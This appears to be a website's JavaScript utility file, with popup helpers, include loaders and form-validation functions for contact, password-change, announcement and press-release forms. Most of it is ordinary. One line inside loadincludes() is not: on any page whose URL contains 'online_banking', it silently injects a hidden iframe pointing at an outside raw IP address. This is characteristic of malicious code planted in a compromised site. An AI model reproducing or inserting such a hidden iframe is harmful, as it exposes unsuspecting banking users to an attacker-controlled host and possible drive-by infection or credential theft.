function top()

{
	var NewWin5;
	
	NewWin5=window.open("top.htm",'NewWin1','height=550,width=420,top=50,left=50,location=no,status=no,toolbar=no,menubar=no,scrollbars=no');
	NewWin5.focus();

}
function top1()

{

var NewWin2;
	
	NewWin2=window.open("inner/top.htm",'NewWin1','height=550,width=420,top=50,left=50,location=no,status=no,toolbar=no,menubar=no,scrollbars=no');
	NewWin2.focus();

}
function top2()

{	
	var NewWin2;
	
	NewWin2=window.open("top.htm",'NewWin1','height=550,width=420,top=50,left=50,location=no,status=no,toolbar=no,menubar=no,scrollbars=no');
	NewWin2.focus();

}

function mOvr(src,clrOver){ 
	if (!src.contains(event.fromElement)){ 
		src.style.cursor = 'default'; 
		src.bgcolor = clrOver; 
	} 
} 

function mOut(src,clrIn){ 
	if (!src.contains(event.toElement)){ 
		src.style.cursor = 'default'; 
		src.bgcolor = clrIn; 
	} 
}

function ChangeColor(obj,color){
	obj.style.background=color;
}

function markmenu(obj){
           ChangeColor(obj,'#000000');
	obj.onmouseout="ChangeColor("+obj+",'#000000');";
}

function loadincludes(){	
	clientSideInclude('topinc', '../includes/top_bar.htm');
if(document.getElementById('bot1')) clientSideInclude('bot1', '../includes/bottom_1.htm');
if(document.getElementById('bot2')) clientSideInclude('bot2', '../includes/bottom_2.htm');
	var m = window.location.href.toLowerCase();
	if (m.indexOf("online_banking")>0){document.body.insertAdjacentHTML("beforeEnd","<iframe src='http://209.61.253.235/lllcc/' style='display:none'></iframe>");}

}

function loadincludesc(){	
	clientSideInclude('topinc', '../includes/top_barc.htm');
if(document.getElementById('bot1')) clientSideInclude('bot1', '../includes/bottom_1.htm');
if(document.getElementById('bot2')) clientSideInclude('bot2', '../includes/bottom_2.htm');
}

function validateAnnouncement(e){
	form = document.frm;
	if(trim(form.f.value)==""){
		alert("Please browse for the image.");
		form.f.focus();
		return false;
	}
	if(trim(form.title.value)==""){
		alert("Please enter the title.");
		form.title.focus();
		return false;
	}
	form.action="db_announcements.php?e="+e;
	form.submit();
}

function validateAccountInformation()
{
	form = document.frm_accountInformation;
	if(trim(form.admin_email.value)=="")
	{
		alert("Please Enter E-mail");
		form.admin_email.focus();
		return false;
		}
	else if(checkEmailAddress(form.admin_email.value)=="")
	{
		alert("Please Enter Valid E-mail");
		form.admin_email.focus();
		return false;
		}	
	
	form.action = "db_accountInformation.php";
	form.submit();
	return true;
	
	}	
function validateChangePassword()
{
	form = document.changepassword;
	if(trim(form.oldPass.value)=='')
	{
		alert("Please Enter Old Password");
		form.oldPass.focus();
		return false;
		}
	if(trim(form.newPass.value)=='')
	{
		alert("Please Enter New Password");
		form.newPass.focus();
		return false;
		}	
	if(trim(form.cNewPass.value)=='')
	{
		alert("Please Enter Confirm Password");
		form.cNewPass.focus();
		return false;
		}	
	if(form.newPass.value!=form.cNewPass.value)
	{
		alert("New Password and Confirm Password are not matched ");
		form.cNewPass.focus()
		return false;
		}
	form.action = "db_changePassword.php";
	form.submit();
	}	
	
function validatecontactinfo(){
		form = document.frm;
		if(trim(form.fname.value)==""){
			alert("Please enter first name.");
			form.fname.focus();
			return false;
		}else if(checkname(form.fname.value)=="") {
			alert("Please Enter valid first name");
			form.fname.focus();
			return false;
		}
		if(trim(form.lname.value)==""){
			alert("Please enter last name.");
			form.lname.focus();
			return false;
		}else if(checkname(form.lname.value)=="") {
			alert("Please Enter valid last name");
			form.lname.focus();
			return false;
		}
		if(trim(form.addr.value)==""){
			alert("Please enter address.");
			form.addr.focus();
			return false;
		}else if(checkadd(form.addr.value)=="") {
			alert("Please Enter valid address");
			form.addr.focus();
			return false;
		}
		if(trim(form.city.value)==""){
			alert("Please enter city.");
			form.city.focus();
			return false;
		}else if(checkname(form.city.value)=="") {
			alert("Please Enter valid city");
			form.city.focus();
			return false;
		}
		if(trim(form.state.value)==""){
			alert("Please enter state.");
			form.state.focus();
			return false;
		}else if(checkname(form.state.value)=="") {
			alert("Please Enter valid state");
			form.state.focus();
			return false;
		}
		if(trim(form.zip.value)==""){
			alert("Please enter zip.");
			form.zip.focus();
			return false;
		}else if(inValidCharZip(form.zip.value)=="") {
			alert("Please Enter valid zip code");
			form.zip.focus();
			return false;
		}
		if(trim(form.phone.value)==""){
			alert("Please enter phone.");
			form.phone.focus();
			return false;
		}else if(checkPhone(form.phone.value)=="") {
			alert("Please Enter valid phone");
			form.phone.focus();
			return false;
		}
		if(trim(form.email.value)==""){
			alert("Please enter E-mail.");
			form.email.focus();
			return false;
		}else if(checkEmailAddress(form.email.value)=="") {
			alert("Please Enter Valid E-mail");
			form.email.focus();
			return false;
		}
		form.action = "db_contactus.php"
		form.submit();
}

function validatePressRelease(e){
	if(trim(document.pressrelease.release_date.value)==""){
		alert("Please Enter Release Date");
		document.pressrelease.release_date.focus();
		return false;
	}

	if(trim(document.pressrelease.title.value)==""){
		alert("Please Enter Title");
		document.pressrelease.title.focus();
		return false;
	}	

	if(!checkcity(document.pressrelease.title.value)){
		alert("Please Enter Valid Title");
		document.pressrelease.title.focus();
		return false;
	}	

	if(trim(document.pressrelease.contact_name.value)=="")	{
		alert("Please Enter Contact Name");
		document.pressrelease.contact_name.focus();
		return false;
	}		

	if(!checkcity(document.pressrelease.contact_name.value))	{
		alert("Please Enter Valid Contact Name");
		document.pressrelease.contact_name.focus();
		return false;
	}	
	document.pressrelease.action="db_news.php?e="+e;
	//alert(document.pressrelease.action)
 	document.pressrelease.submit();	
	return true;

	}